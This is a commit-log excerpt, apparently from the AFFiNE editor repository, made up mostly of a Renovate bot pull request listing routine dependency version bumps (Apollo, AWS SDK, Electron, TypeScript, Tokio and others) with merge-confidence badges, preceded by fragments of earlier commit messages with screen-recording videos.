<video src="https://graphite-user-uploaded-assets-prod.s3.amazonaws.com/sJGviKxfE3Ap685cl5bj/778f1406-bf29-498e-a90d-7dad813392d1.mov">录屏2024-12-27 19.01.16.mov</video>

When there is an image, it will automatically switch to the openai model:

<div class='graphite__hidden'>
          <div>🎥 Video uploaded on Graphite:</div>
            <a href="https://app.graphite.dev/media/video/sJGviKxfE3Ap685cl5bj/56431d8e-75e1-4d84-ab4a-b6636042cc6a.mov">
              <img src="https://app.graphite.dev/api/v1/graphite/video/thumbnail/sJGviKxfE3Ap685cl5bj/56431d8e-75e1-4d84-ab4a-b6636042cc6a.mov">
            </a>
          </div>
<video src="https://graphite-user-uploaded-assets-prod.s3.amazonaws.com/sJGviKxfE3Ap685cl5bj/56431d8e-75e1-4d84-ab4a-b6636042cc6a.mov">录屏2024-12-27 19.02.13.mov</video>
2025-01-09 04:00:59 +00:00
Yifeng Wang
4f10457815 refactor(editor): remove legacy console formatter (#9599) 2025-01-09 12:00:08 +08:00
doodlewind
e269cce141 refactor(editor): playground doc collection typing migration (#9593) 2025-01-09 03:07:43 +00:00
renovate
5ff2254c83 chore: bump up all non-major dependencies (#9494)
This PR contains the following updates:

| Package | Change | Age | Adoption | Passing | Confidence | Type | Update |
|---|---|---|---|---|---|---|---|
| [@apollo/server](https://redirect.github.com/apollographql/apollo-server) ([source](https://redirect.github.com/apollographql/apollo-server/tree/HEAD/packages/server)) | [`4.11.2` -> `4.11.3`](https://renovatebot.com/diffs/npm/@apollo%2fserver/4.11.2/4.11.3) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@apollo%2fserver/4.11.3?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@apollo%2fserver/4.11.3?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@apollo%2fserver/4.11.2/4.11.3?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@apollo%2fserver/4.11.2/4.11.3?slim=true)](https://docs.renovatebot.com/merge-confidence/) | dependencies | patch |
| [@aws-sdk/client-s3](https://redirect.github.com/aws/aws-sdk-js-v3/tree/main/clients/client-s3) ([source](https://redirect.github.com/aws/aws-sdk-js-v3/tree/HEAD/clients/client-s3)) | [`3.717.0` -> `3.723.0`](https://renovatebot.com/diffs/npm/@aws-sdk%2fclient-s3/3.717.0/3.723.0) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@aws-sdk%2fclient-s3/3.723.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@aws-sdk%2fclient-s3/3.723.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@aws-sdk%2fclient-s3/3.717.0/3.723.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@aws-sdk%2fclient-s3/3.717.0/3.723.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | dependencies | minor |
| [@floating-ui/dom](https://floating-ui.com) ([source](https://redirect.github.com/floating-ui/floating-ui/tree/HEAD/packages/dom)) | [`1.6.12` -> `1.6.13`](https://renovatebot.com/diffs/npm/@floating-ui%2fdom/1.6.12/1.6.13) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@floating-ui%2fdom/1.6.13?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@floating-ui%2fdom/1.6.13?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@floating-ui%2fdom/1.6.12/1.6.13?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@floating-ui%2fdom/1.6.12/1.6.13?slim=true)](https://docs.renovatebot.com/merge-confidence/) | dependencies | patch |
| [@lottiefiles/dotlottie-wc](https://redirect.github.com/LottieFiles/dotlottie-web) ([source](https://redirect.github.com/LottieFiles/dotlottie-web/tree/HEAD/packages/wc)) | [`0.4.1` -> `0.4.2`](https://renovatebot.com/diffs/npm/@lottiefiles%2fdotlottie-wc/0.4.1/0.4.2) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@lottiefiles%2fdotlottie-wc/0.4.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@lottiefiles%2fdotlottie-wc/0.4.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@lottiefiles%2fdotlottie-wc/0.4.1/0.4.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@lottiefiles%2fdotlottie-wc/0.4.1/0.4.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | dependencies | patch |
| [@opentelemetry/host-metrics](https://redirect.github.com/open-telemetry/opentelemetry-js-contrib/tree/main/packages/opentelemetry-host-metrics#readme) ([source](https://redirect.github.com/open-telemetry/opentelemetry-js-contrib)) | [`0.35.4` -> `0.35.5`](https://renovatebot.com/diffs/npm/@opentelemetry%2fhost-metrics/0.35.4/0.35.5) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@opentelemetry%2fhost-metrics/0.35.5?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@opentelemetry%2fhost-metrics/0.35.5?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@opentelemetry%2fhost-metrics/0.35.4/0.35.5?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@opentelemetry%2fhost-metrics/0.35.4/0.35.5?slim=true)](https://docs.renovatebot.com/merge-confidence/) | dependencies | patch |
| [@sentry/react](https://redirect.github.com/getsentry/sentry-javascript/tree/master/packages/react) ([source](https://redirect.github.com/getsentry/sentry-javascript)) | [`8.47.0` -> `8.48.0`](https://renovatebot.com/diffs/npm/@sentry%2freact/8.47.0/8.48.0) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@sentry%2freact/8.48.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@sentry%2freact/8.48.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@sentry%2freact/8.47.0/8.48.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@sentry%2freact/8.47.0/8.48.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | dependencies | minor |
| [@sentry/react](https://redirect.github.com/getsentry/sentry-javascript/tree/master/packages/react) ([source](https://redirect.github.com/getsentry/sentry-javascript)) | [`8.47.0` -> `8.48.0`](https://renovatebot.com/diffs/npm/@sentry%2freact/8.47.0/8.48.0) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@sentry%2freact/8.48.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@sentry%2freact/8.48.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@sentry%2freact/8.47.0/8.48.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@sentry%2freact/8.47.0/8.48.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | devDependencies | minor |
| [@smarttools/eslint-plugin-rxjs](https://redirect.github.com/DaveMBush/eslint-plugin-rxjs) | [`1.0.12` -> `1.0.13`](https://renovatebot.com/diffs/npm/@smarttools%2feslint-plugin-rxjs/1.0.12/1.0.13) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@smarttools%2feslint-plugin-rxjs/1.0.13?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@smarttools%2feslint-plugin-rxjs/1.0.13?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@smarttools%2feslint-plugin-rxjs/1.0.12/1.0.13?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@smarttools%2feslint-plugin-rxjs/1.0.12/1.0.13?slim=true)](https://docs.renovatebot.com/merge-confidence/) | devDependencies | patch |
| [@swc/core](https://swc.rs) ([source](https://redirect.github.com/swc-project/swc)) | [`1.10.4` -> `1.10.6`](https://renovatebot.com/diffs/npm/@swc%2fcore/1.10.4/1.10.6) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@swc%2fcore/1.10.6?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@swc%2fcore/1.10.6?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@swc%2fcore/1.10.4/1.10.6?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@swc%2fcore/1.10.4/1.10.6?slim=true)](https://docs.renovatebot.com/merge-confidence/) | devDependencies | patch |
| [@types/mixpanel-browser](https://redirect.github.com/DefinitelyTyped/DefinitelyTyped/tree/master/types/mixpanel-browser) ([source](https://redirect.github.com/DefinitelyTyped/DefinitelyTyped/tree/HEAD/types/mixpanel-browser)) | [`2.50.2` -> `2.51.0`](https://renovatebot.com/diffs/npm/@types%2fmixpanel-browser/2.50.2/2.51.0) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@types%2fmixpanel-browser/2.51.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@types%2fmixpanel-browser/2.51.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@types%2fmixpanel-browser/2.50.2/2.51.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@types%2fmixpanel-browser/2.50.2/2.51.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | devDependencies | minor |
| [@types/node](https://redirect.github.com/DefinitelyTyped/DefinitelyTyped/tree/master/types/node) ([source](https://redirect.github.com/DefinitelyTyped/DefinitelyTyped/tree/HEAD/types/node)) | [`20.17.11` -> `20.17.12`](https://renovatebot.com/diffs/npm/@types%2fnode/20.17.11/20.17.12) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@types%2fnode/20.17.12?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@types%2fnode/20.17.12?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@types%2fnode/20.17.11/20.17.12?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@types%2fnode/20.17.11/20.17.12?slim=true)](https://docs.renovatebot.com/merge-confidence/) | dependencies | patch |
| [@types/node](https://redirect.github.com/DefinitelyTyped/DefinitelyTyped/tree/master/types/node) ([source](https://redirect.github.com/DefinitelyTyped/DefinitelyTyped/tree/HEAD/types/node)) | [`20.17.11` -> `20.17.12`](https://renovatebot.com/diffs/npm/@types%2fnode/20.17.11/20.17.12) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@types%2fnode/20.17.12?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@types%2fnode/20.17.12?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@types%2fnode/20.17.11/20.17.12?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@types%2fnode/20.17.11/20.17.12?slim=true)](https://docs.renovatebot.com/merge-confidence/) | devDependencies | patch |
| [@types/react](https://redirect.github.com/DefinitelyTyped/DefinitelyTyped/tree/master/types/react) ([source](https://redirect.github.com/DefinitelyTyped/DefinitelyTyped/tree/HEAD/types/react)) | [`19.0.2` -> `19.0.4`](https://renovatebot.com/diffs/npm/@types%2freact/19.0.2/19.0.4) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@types%2freact/19.0.4?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@types%2freact/19.0.4?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@types%2freact/19.0.2/19.0.4?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@types%2freact/19.0.2/19.0.4?slim=true)](https://docs.renovatebot.com/merge-confidence/) | devDependencies | patch |
| [core-js](https://redirect.github.com/zloirock/core-js) ([source](https://redirect.github.com/zloirock/core-js/tree/HEAD/packages/core-js)) | [`3.39.0` -> `3.40.0`](https://renovatebot.com/diffs/npm/core-js/3.39.0/3.40.0) | [![age](https://developer.mend.io/api/mc/badges/age/npm/core-js/3.40.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/core-js/3.40.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/core-js/3.39.0/3.40.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/core-js/3.39.0/3.40.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | dependencies | minor |
| [electron](https://redirect.github.com/electron/electron) | [`33.3.0` -> `33.3.1`](https://renovatebot.com/diffs/npm/electron/33.3.0/33.3.1) | [![age](https://developer.mend.io/api/mc/badges/age/npm/electron/33.3.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/electron/33.3.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/electron/33.3.0/33.3.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/electron/33.3.0/33.3.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | devDependencies | patch |
| [embla-carousel-react](https://www.embla-carousel.com) ([source](https://redirect.github.com/davidjerleke/embla-carousel)) | [`8.5.1` -> `8.5.2`](https://renovatebot.com/diffs/npm/embla-carousel-react/8.5.1/8.5.2) | [![age](https://developer.mend.io/api/mc/badges/age/npm/embla-carousel-react/8.5.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/embla-carousel-react/8.5.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/embla-carousel-react/8.5.1/8.5.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/embla-carousel-react/8.5.1/8.5.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | dependencies | patch |
| [happy-dom](https://redirect.github.com/capricorn86/happy-dom) | [`16.3.0` -> `16.5.2`](https://renovatebot.com/diffs/npm/happy-dom/16.3.0/16.5.2) | [![age](https://developer.mend.io/api/mc/badges/age/npm/happy-dom/16.5.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/happy-dom/16.5.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/happy-dom/16.3.0/16.5.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/happy-dom/16.3.0/16.5.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | devDependencies | minor |
| [html-validate](https://html-validate.org) ([source](https://gitlab.com/html-validate/html-validate)) | [`9.1.0` -> `9.1.1`](https://renovatebot.com/diffs/npm/html-validate/9.1.0/9.1.1) | [![age](https://developer.mend.io/api/mc/badges/age/npm/html-validate/9.1.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/html-validate/9.1.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/html-validate/9.1.0/9.1.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/html-validate/9.1.0/9.1.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | dependencies | patch |
| [i18next](https://www.i18next.com) ([source](https://redirect.github.com/i18next/i18next)) | [`24.2.0` -> `24.2.1`](https://renovatebot.com/diffs/npm/i18next/24.2.0/24.2.1) | [![age](https://developer.mend.io/api/mc/badges/age/npm/i18next/24.2.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/i18next/24.2.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/i18next/24.2.0/24.2.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/i18next/24.2.0/24.2.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | dependencies | patch |
| [input-otp](https://input-otp.rodz.dev/) ([source](https://redirect.github.com/guilhermerodz/input-otp/tree/HEAD/packages/input-otp)) | [`1.4.1` -> `1.4.2`](https://renovatebot.com/diffs/npm/input-otp/1.4.1/1.4.2) | [![age](https://developer.mend.io/api/mc/badges/age/npm/input-otp/1.4.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/input-otp/1.4.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/input-otp/1.4.1/1.4.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/input-otp/1.4.1/1.4.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | dependencies | patch |
| [link-preview-js](https://redirect.github.com/ospfranco/link-preview-js) | [`3.0.12` -> `3.0.13`](https://renovatebot.com/diffs/npm/link-preview-js/3.0.12/3.0.13) | [![age](https://developer.mend.io/api/mc/badges/age/npm/link-preview-js/3.0.13?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/link-preview-js/3.0.13?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/link-preview-js/3.0.12/3.0.13?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/link-preview-js/3.0.12/3.0.13?slim=true)](https://docs.renovatebot.com/merge-confidence/) | dependencies | patch |
| [marked](https://marked.js.org) ([source](https://redirect.github.com/markedjs/marked)) | [`15.0.4` -> `15.0.6`](https://renovatebot.com/diffs/npm/marked/15.0.4/15.0.6) | [![age](https://developer.mend.io/api/mc/badges/age/npm/marked/15.0.6?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/marked/15.0.6?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/marked/15.0.4/15.0.6?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/marked/15.0.4/15.0.6?slim=true)](https://docs.renovatebot.com/merge-confidence/) | dependencies | patch |
| [napi](https://redirect.github.com/napi-rs/napi-rs) | `3.0.0-alpha.24` -> `3.0.0-alpha.26` | [![age](https://developer.mend.io/api/mc/badges/age/crate/napi/3.0.0-alpha.26?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/crate/napi/3.0.0-alpha.26?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/crate/napi/3.0.0-alpha.24/3.0.0-alpha.26?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/crate/napi/3.0.0-alpha.24/3.0.0-alpha.26?slim=true)](https://docs.renovatebot.com/merge-confidence/) | workspace.dependencies | patch |
| [napi-derive](https://redirect.github.com/napi-rs/napi-rs) | `3.0.0-alpha.22` -> `3.0.0-alpha.23` | [![age](https://developer.mend.io/api/mc/badges/age/crate/napi-derive/3.0.0-alpha.23?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/crate/napi-derive/3.0.0-alpha.23?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/crate/napi-derive/3.0.0-alpha.22/3.0.0-alpha.23?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/crate/napi-derive/3.0.0-alpha.22/3.0.0-alpha.23?slim=true)](https://docs.renovatebot.com/merge-confidence/) | workspace.dependencies | patch |
| [openai](https://redirect.github.com/openai/openai-node) | [`4.77.0` -> `4.77.4`](https://renovatebot.com/diffs/npm/openai/4.77.0/4.77.4) | [![age](https://developer.mend.io/api/mc/badges/age/npm/openai/4.77.4?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/openai/4.77.4?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/openai/4.77.0/4.77.4?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/openai/4.77.0/4.77.4?slim=true)](https://docs.renovatebot.com/merge-confidence/) | dependencies | patch |
| [serde_json](https://redirect.github.com/serde-rs/json) | `1.0.134` -> `1.0.135` | [![age](https://developer.mend.io/api/mc/badges/age/crate/serde_json/1.0.135?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/crate/serde_json/1.0.135?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/crate/serde_json/1.0.134/1.0.135?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/crate/serde_json/1.0.134/1.0.135?slim=true)](https://docs.renovatebot.com/merge-confidence/) | workspace.dependencies | patch |
| [shiki](https://redirect.github.com/shikijs/shiki) ([source](https://redirect.github.com/shikijs/shiki/tree/HEAD/packages/shiki)) | [`1.25.1` -> `1.26.1`](https://renovatebot.com/diffs/npm/shiki/1.25.1/1.26.1) | [![age](https://developer.mend.io/api/mc/badges/age/npm/shiki/1.26.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/shiki/1.26.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/shiki/1.25.1/1.26.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/shiki/1.25.1/1.26.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | dependencies | minor |
| [sqlx](https://redirect.github.com/launchbadge/sqlx) | `0.8.2` -> `0.8.3` | [![age](https://developer.mend.io/api/mc/badges/age/crate/sqlx/0.8.3?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/crate/sqlx/0.8.3?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/crate/sqlx/0.8.2/0.8.3?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/crate/sqlx/0.8.2/0.8.3?slim=true)](https://docs.renovatebot.com/merge-confidence/) | workspace.dependencies | patch |
| [thiserror](https://redirect.github.com/dtolnay/thiserror) | `2.0.9` -> `2.0.10` | [![age](https://developer.mend.io/api/mc/badges/age/crate/thiserror/2.0.10?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/crate/thiserror/2.0.10?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/crate/thiserror/2.0.9/2.0.10?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/crate/thiserror/2.0.9/2.0.10?slim=true)](https://docs.renovatebot.com/merge-confidence/) | workspace.dependencies | patch |
| [tokio](https://tokio.rs) ([source](https://redirect.github.com/tokio-rs/tokio)) | `1.42.0` -> `1.43.0` | [![age](https://developer.mend.io/api/mc/badges/age/crate/tokio/1.43.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/crate/tokio/1.43.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/crate/tokio/1.42.0/1.43.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/crate/tokio/1.42.0/1.43.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | workspace.dependencies | minor |
| [typescript](https://www.typescriptlang.org/) ([source](https://redirect.github.com/microsoft/TypeScript)) | [`5.7.2` -> `5.7.3`](https://renovatebot.com/diffs/npm/typescript/5.7.2/5.7.3) | [![age](https://developer.mend.io/api/mc/badges/age/npm/typescript/5.7.3?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/typescript/5.7.3?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/typescript/5.7.2/5.7.3?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/typescript/5.7.2/5.7.3?slim=true)](https://docs.renovatebot.com/merge-confidence/) | dependencies | patch |
| [typescript](https://www.typescriptlang.org/) ([source](https://redirect.github.com/microsoft/TypeScript)) | [`5.7.2` -> `5.7.3`](https://renovatebot.com/diffs/npm/typescript/5.7.2/5.7.3) | [![age](https://developer.mend.io/api/mc/badges/age/npm/typescript/5.7.3?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/typescript/5.7.3?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/typescript/5.7.2/5.7.3?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/typescript/5.7.2/5.7.3?slim=true)](https://docs.renovatebot.com/merge-confidence/) | devDependencies | patch |
| [typescript-eslint](https://typescript-eslint.io/packages/typescript-eslint) ([source](https://redirect.github.com/typescript-eslint/typescript-eslint/tree/HEAD/packages/typescript-eslint)) | [`8.19.0` -> `8.19.1`](https://renovatebot.com/diffs/npm/typescript-eslint/8.19.0/8.19.1) | [![age](https://developer.mend.io/api/mc/badges/age/npm/typescript-eslint/8.19.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/typescript-eslint/8.19.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/typescript-eslint/8.19.0/8.19.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/typescript-eslint/8.19.0/8.19.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | devDependencies | patch |
| [uuid](https://redirect.github.com/uuidjs/uuid) | [`11.0.3` -> `11.0.4`](https://renovatebot.com/diffs/npm/uuid/11.0.3/11.0.4) | [![age](https://developer.mend.io/api/mc/badges/age/npm/uuid/11.0.4?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/uuid/11.0.4?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/uuid/11.0.3/11.0.4?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/uuid/11.0.3/11.0.4?slim=true)](https://docs.renovatebot.com/merge-confidence/) | devDependencies | patch |
